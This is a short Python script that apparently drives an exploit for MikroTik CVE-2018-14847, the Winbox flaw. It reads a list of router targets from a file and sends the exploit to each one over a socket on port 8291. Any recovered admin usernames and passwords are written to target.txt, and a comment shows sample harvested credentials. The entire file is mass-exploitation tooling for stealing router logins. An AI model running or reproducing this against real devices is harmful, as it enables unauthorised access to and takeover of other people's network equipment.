from MikroTik.CVE_2018_14847.socket_client import send_socket
from MikroTik.CVE_2018_14847.get_targets import format_file, format_single_ip


# targets [[ip,port],[ip,port],...,[ip,port]]
# return [ ['192.168.161.222', 8291, [('admin', ''), ('admin', ''), ('admin', '1234')]] , ['192.168.161.222', 8291, [('admin', ''), ('admin', ''), ('admin', '1234')]] , ... , ['192.168.161.222', 8291, [('admin', ''), ('admin', ''), ('admin', '1234')]]]
def exploit(targets):
    exp_result_list = []
    for target in targets:
        ip = target[0]
        port = target[1]
        result = send_socket(ip, port)
        if result:
            target_info = [ip, port, result]
            print('write into target.txt')
            with open('target.txt', 'a')as f:
                f.write(str(target_info) + '\r\n')
            print('create target success')
            exp_result_list.append(target_info)
        else:
            continue

    return exp_result_list


def run():
    # targets = format_single_ip('192.168.161.222:8291')
    targets=format_file('result.txt')
    print(exploit(targets))


if __name__ == '__main__':
    run()
